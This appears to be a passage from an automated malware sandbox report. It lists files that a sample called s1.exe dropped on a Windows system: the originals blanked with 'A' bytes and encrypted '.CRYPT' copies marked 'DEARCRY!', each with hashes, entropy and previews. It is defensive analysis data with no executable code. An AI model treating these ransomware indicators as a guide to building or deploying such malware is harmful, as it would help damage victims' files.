                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\LocalState\DeviceSearchCache\SettingsCache.txt
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):413058
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:93F5DBDBF8BC8F17F478D8A9750F6415
                                                              SHA1:4A23CFC60B12F6ECF71885FA003806FBE4FA35BB
                                                              SHA-256:B1FF07068973387D1C287EC48E89FEC2BAFE425800925A3B1F4461A81EBC5029
                                                              SHA-512:28FA912F5022FC4B575B6B0918F60E488B4FE298BE94D7BDE18D10A040CD268AB65241A10D7677AAE00BFB32C5C0F4839C9FC26FE649D559C5F940605E16584E
                                                              Malicious:true
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\LocalState\DeviceSearchCache\SettingsCache.txt.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):413352
                                                              Entropy (8bit):7.9995668357034795
                                                              Encrypted:true
                                                              SSDEEP:
                                                              MD5:095E833ECF514063312C8E2F9D917B66
                                                              SHA1:FC114F018217FBFF34E3B772684D46F4F07FD5D1
                                                              SHA-256:BE733DD7DF9B18A26C36411E6E62FA9EC3F9F2711EE7B140A56349C26C7FF174
                                                              SHA-512:C3F637E08A7E460A37DAC6D2B76BD24E19E48A7062AC1C0093A474A94EE851A78E36684B6241B463F2DD1F30210D9A8754D3D5A3A809D63BE8D41299B2F044D2
                                                              Malicious:true
                                                              Preview: DEARCRY!......A..w.M:.S.........gnZ...AE.@......)...B.=.=F ...[w.:...P&B`@X...H......2/...5..}DG..?..U../......Q.#z....Bm5.....c...:O...........^....L....%...`qD..LS.%.J%....B.y.".8j..y.7h.}.F.l..oJ.M...Q.....].<45.S=.>#lQ.-Yb....06..O6pX(g.c7f.p.....>(........M......0.<N...Tb..~.2#]..M...4.b...9B.....PC.......UX[..7...(.m.d....&.W4|.M..........,...(.z.b..f.P7.6.....=.&c.H.u.|$...Q=.....G=...F-D.Y.RG...p..#Z....!.A.Y~E..q.%....lx..?......h.q...O7.e.ZW..........K....4Z...jy.fE.O.Gx..!t.L.....#...N...6WY...%tZ.u.....: .].o..........f.4......<...`}...o..(.(BU.....d".~...E.'.x..w.5.....FC....."..[O.[T,G.)..A4RO.o....L..!J.O...%.p...\]...O...L..).aK..m.}.....^.$.L.1*.V....i.....a..=S...... .p.m...0-.%.w..B....8.........D.......q..7y5Qx.z(.\F.l....CV..S...I..<..6.p^......a.&/FB&...6.p.\J...&Aw.....rx4..I4..z:..R'.z...J\..W7"I....L..........\..[7.>..9...w.xB.(.w#.?.%e.O]..d.....8IK..x`45.T.....C..1.F+..JH.Q.5U.7n?G..{.IQ.ZL2...*.f...d+wc..MlK..)
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\TempState\CortanaUnifiedTileModelCache.dat
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):69355
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:FA1B5CA73614245C06AFE286F40A6F6F
                                                              SHA1:021360D13576246F31C0F7B07669924732C7194D
                                                              SHA-256:2EFE210DD76E26A861D125DEF61CBE7CC62233B107775918786710B8A52FE3D1
                                                              SHA-512:68F036C221E68F5655062E58966DCCB9341045A542EA3EE6626758FFD750729D27BCB80053D54470AAD6714BB2A98AE2D042EC9324FBBD4CB8443C2B0B30BA66
                                                              Malicious:true
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\TempState\CortanaUnifiedTileModelCache.dat.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):69640
                                                              Entropy (8bit):7.997366533255675
                                                              Encrypted:true
                                                              SSDEEP:
                                                              MD5:DC3E89E076F4E6578582055CDA6A79E5
                                                              SHA1:7401F55B807CAAACBA7CB21D984A4828E66F2ED9
                                                              SHA-256:2F7BB4630827F998F12530E82B6A161A31440C093C86942DC953C36D9DD11A34
                                                              SHA-512:95BE00C06B7D3B8AE87219C35002CDDE659F620E198D5399CF71C99F0ECDB299CCC165B6296E066B9749DD12D75D017C445DFBCB5E9F9C9F6E84F4F392306E6A
                                                              Malicious:true
                                                              Preview: DEARCRY!....[n..KEU.....8.=4.lO.......S..."'..G...;....I.D.../.=.../h.v}.F..1.........M....)..^(.3'#8@...i.9....+.l..z...%xq|W.;*.w...0..|.....^..2..j.UM.J...:s..`....H...g....N.M...H..D.#..aW..9>?....cRf...I.D.P.}|.rH...bB.?....U_......'.q.a..%...H.+.0..............$...~>A.qm.....h..0....] ..O..;..tK...[.z'...r...c..W..i.{..,!.+..I8....SG.A........?.:ft.l:c...6.Q....~....x{.hGk.)..../B.+.^.......S..-p.!.@.ay.i.9mU.`~y.bFq..G=.D.*.f..Q....S#q+.<.C...i.DP.R...U....@X...`[^Jw.IG...n..:T:i...=|..0_...z..a.Q...f.d.d[....b@.....jd.Q.Y..z+...1.j.f............U@%..7.E.i...u$(..L<.M[.Nar2..Nd....Y.};X...us...1.>..-.......&.N...`.......3Q...D{7.bA^.1#G...f@...g......m..x.U.BFj./..v#...].C..3 z.B-...dd.JF`......&..K.K./..F../e..-.D=z..c..&.QH....~......... Y.I.z..*.%.9.....-.k.!J PIF.Z...'.`..r.k..=...$...x^.....a..:.F.^....oa.4s0.6T.Cz..PDXz...w..+....g.;.YMS.#+........8%5e..S..5. ....7X.W....B..-..?.\%..p...7..L9.t.2f..-L...f.KsK..8...fJ..X.V
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\TempState\Traces\CortanaTrace1.etl
                                                              Process:C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe
                                                              File Type:empty
                                                              Category:dropped
                                                              Size (bytes):0
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:D41D8CD98F00B204E9800998ECF8427E
                                                              SHA1:DA39A3EE5E6B4B0D3255BFEF95601890AFD80709
                                                              SHA-256:E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855
                                                              SHA-512:CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E
                                                              Malicious:false
                                                              Preview:
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.HolographicFirstRun_cw5n1h2txyewy\Settings\settings.dat
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):8192
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:03F7A3E30CFA408A2C9466CB939D63CA
                                                              SHA1:35B6795CA20D6DC0AFF8C7C110C96CD1070B8C38
                                                              SHA-256:F8CA02C69621DD84CD1212EBFD7D6CDC9BA6AD658854F29567723531912D1A35
                                                              SHA-512:B79C43F6CC4BA20926F9D09BB7652ED652EBDDE37BB10417C9D9810A4BCF10152AE7D5095508D01EF69040F84EAB40CDED9B2C13F24C75E1EA6FD576CF1BE370
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.HolographicFirstRun_cw5n1h2txyewy\Settings\settings.dat.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):8488
                                                              Entropy (8bit):7.980348579008807
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:F955DF9DD5F64D2D144AA052375AF4CE
                                                              SHA1:7E47A1CD79C3B16895D29C606247349BBF7DE0F7
                                                              SHA-256:876A9B824633E1E10C2918623A1178F863B02823F5BAAAD8522CA41718E55F34
                                                              SHA-512:A412D082A4153504B4C73BDC8921DA1E8D5F91E640FE61C008F1AA8F0734C69ECE6B85AE2FE984FC33FF19E877C34AC32BC99205ACF1FCF7D8E7C23C1B83E312
                                                              Malicious:false
                                                              Preview: DEARCRY!....\...^.X,2....T..c.... f."...J..:t[.3....@....l%.no....E.'.K`}..>.-..@.Z...z.{...E....#........]sWi}&.....Z.M(.s^..a.X....8...tT%.....\/=..-..H.]...ud....f..M.P..?}...5...@....d...+).PHrq.].8xU{/.,....zR.n..sV..T....HO....V..aC./....._...!P........ .......v..V.F.R....wC...5v1..X.J.kK.8>...L...Y..2RL ~..m.zB.K....>w.y....i..vL._.D. ..l...u...%.Z..4.!m..3d...[.......2.>m..&W.!.D...unK...>(....e.4m....N.r'.....-..2gM.aq...a......I4.w#w...*.`.!...).dF..I.......7...D.'.X>........q...c.....' K...X.p<.N..P.7..?W.x...V0C8.<...1...Cp.....U)u.......p...."\......zS....WK.."..1..z.F..l.n.O.!...8~...P.a.....J..3.o.L.Lr+d..M1..F...l....e.z6......lV_R.....1...O..KI.]..1.9.7u..\...bc.2............J....p..... ........b.I.I2I.....0......p:.H#...@......V(....l...9r.]..I..5Q3..........3..K.<..'.[*p.^...+%..L!.1........T/.;.A..ry...[3N.......=Y....7..l..F....%.(....E.....?......W...L.B......%ZS.M...\.N....f..Z.@...h.fv.H.CU....@....GP;'...g.#,P
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.OOBENetworkCaptivePortal_cw5n1h2txyewy\Settings\settings.dat
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):8192
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:03F7A3E30CFA408A2C9466CB939D63CA
                                                              SHA1:35B6795CA20D6DC0AFF8C7C110C96CD1070B8C38
                                                              SHA-256:F8CA02C69621DD84CD1212EBFD7D6CDC9BA6AD658854F29567723531912D1A35
                                                              SHA-512:B79C43F6CC4BA20926F9D09BB7652ED652EBDDE37BB10417C9D9810A4BCF10152AE7D5095508D01EF69040F84EAB40CDED9B2C13F24C75E1EA6FD576CF1BE370
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.OOBENetworkCaptivePortal_cw5n1h2txyewy\Settings\settings.dat.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):8488
                                                              Entropy (8bit):7.973870730252114
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:258F9A2969FDF791F02C472FB2ED1905
                                                              SHA1:CBCF28F46BC08EA4EC1221A217BD9933619B4789
                                                              SHA-256:D47C514AAF7B66D27859DFD3C32E17B42CAAD5FBB6D53456C8F3CC10109F8076
                                                              SHA-512:2ADD8B9C65D063C6BAAC7AD25CAD6D9CA54337F1A5FE1FF73C074C6F78C80555A638BA5A8C9625199D66655D063444F6A6F31E522139A05FCFF605FF9C46148E
                                                              Malicious:false
                                                              Preview: DEARCRY!......C.>.j.Kt.m...;6.$...I.......p>\p.G...)<%.yC:/..D...i..m"..m....a.>.]..}F.*X....y.:\..:.C.Y.X~..<.w.......P.d..E....J..V..)..^.....o.I+.O.f4b....g.H.P.h`.*..W%. <.J...0.*.4..qD.$.M(~d.]?E....ylv.n. ../F.+.0.O...f."R1........s..3{.>..]..;W.o..(....... ........|..8.E1....Ps..W.....|w..L<....'t..=.aT5...(:.1dW"ty.`k......<....X...,=(......4..{..M..|#I....?......M........b\>..{C.kY..`6#X.Ue....W.&W.....{....3.K.B...j.M}.8.r.....v.k.zb.....O.T.^A...|I<.f..Rk..............:0.....x......A6l~z..Tf.......L..mq.<i`....2....$.%....+.....Y.....n)L..f.Q.~#.M.~q...p".."...!.Z...m....`.S..I.......xA%~2.Z'..H4.8"s....m..0W.Nd..0..&....>F.I.<4..P...q.....5.^:.F./..*xD-:....@j......s.+...............[k....cQ....I...5-[..7...c..!.~|<G...)....|.e3%....G.C.h-......B\..g..qS.f.....6."......e.U.a.x.u.z#Q.Z.Y.P*.;_...g....U......T....R..T..Re|.;..@...;...=\.!.;8.f...q....B..v..h.`..0.....)K:^J8<...m.9<.lzk...bvl9..t..Ne..-...V..W
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.OOBENetworkConnectionFlow_cw5n1h2txyewy\Settings\settings.dat
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):8192
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:03F7A3E30CFA408A2C9466CB939D63CA
                                                              SHA1:35B6795CA20D6DC0AFF8C7C110C96CD1070B8C38
                                                              SHA-256:F8CA02C69621DD84CD1212EBFD7D6CDC9BA6AD658854F29567723531912D1A35
                                                              SHA-512:B79C43F6CC4BA20926F9D09BB7652ED652EBDDE37BB10417C9D9810A4BCF10152AE7D5095508D01EF69040F84EAB40CDED9B2C13F24C75E1EA6FD576CF1BE370
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.OOBENetworkConnectionFlow_cw5n1h2txyewy\Settings\settings.dat.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):8488
                                                              Entropy (8bit):7.9784082665600415
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:1DCF950F6408E924EF5E8D54DA6E7897
                                                              SHA1:DB20E365164B26850B690102056FD526D5119475
                                                              SHA-256:9150BCE5AA1B8CD4C6483469D13418CCD4774F06029F21C8BE149BB3B883CD6F
                                                              SHA-512:6FF50EBDBF136F7CCAACDF0AB33DF9BAF872F905993BFC584F4EFBF015BA195F2CF617B3F81E08011EEC0F06A3801106EDB546F5657777D0724B72ADABA0D5E8
                                                              Malicious:false
                                                              Preview: DEARCRY!....h.y.A\.3....y..E~xW.su...*1......A..ng...[T...\........$Y.A....Z..<X...w-......P!aI....!TUyp.Z..I0...+...Aw.|>....|D.....+.by}...@..B$.70...M+A.l.u.o9.:...?..}.k0`...uo.5'<.;../O.k.@lY...~.#Z.\..w.n#X*B ?............?m.B e.<...dX.p..]..Xa.....L}\..... .........?b8...R...\..df8.w.5.a.'.=.7..:..uR.x.ez.S.^.DP..L&.W....".?.Q.. ....L.......[.?.sK...r..*1.v?..........y.2t.Y...Rb...'Yt.`........($.C.........`u.F...|7.".d:.%....`.%.?....}... =.c.8?.d]lS.......l+c.I..'...f..xE..|..Sv......n.xk.w`a.dBJr.x.J..~....."....:.Bz.....gZ..{.g.lJ/.va6q.1.\...Z]....q%.j.J..'.......&..U\...90...>J......}.K...e..v.k...]......4b".y.".......Y.7 Z..A......L....{ZV..l......o.]......R.....i.^.W.+.L.y.....y..>..!.xqr......v.i.x.......|-w.5\U.%....j"b....2Vo.j..n~5.n.oS..$.O(.l).#.*q:*...*...?.^.-WAy{\...k..(.m'.J1.....S.h.}M.^.).&--.b..J.....s.3.'.....'..b,.x.h.Dv.b{4E/.]h...4.Pfp.h.P$............q....#1....D...d.^p..*.}.4.`.$...G.~.?r8.X.x.u$..
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ParentalControls_cw5n1h2txyewy\Settings\settings.dat
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):8192
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:03F7A3E30CFA408A2C9466CB939D63CA
                                                              SHA1:35B6795CA20D6DC0AFF8C7C110C96CD1070B8C38
                                                              SHA-256:F8CA02C69621DD84CD1212EBFD7D6CDC9BA6AD658854F29567723531912D1A35
                                                              SHA-512:B79C43F6CC4BA20926F9D09BB7652ED652EBDDE37BB10417C9D9810A4BCF10152AE7D5095508D01EF69040F84EAB40CDED9B2C13F24C75E1EA6FD576CF1BE370
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ParentalControls_cw5n1h2txyewy\Settings\settings.dat.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):8488
                                                              Entropy (8bit):7.979259404493073
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:BB844A5D0A7C09B81C2E64AF59F3E207
                                                              SHA1:1C7FE47A0FE90E058B6AF3F0AFDA3B043135DF0D
                                                              SHA-256:F1727E3E3C90BDE0BB8163269A112C3A805C9BAE927C7CBA39747EABBDDC90B2
                                                              SHA-512:82855B4493FBB692E03F9542035B073ABA88FC3A7E932CA2B89D5D8B6DE14CF4ED9A4E9F73E561DCCDBF8BF0F16F1EF30AC9F65451A18325837A6523BE8C2D32
                                                              Malicious:false
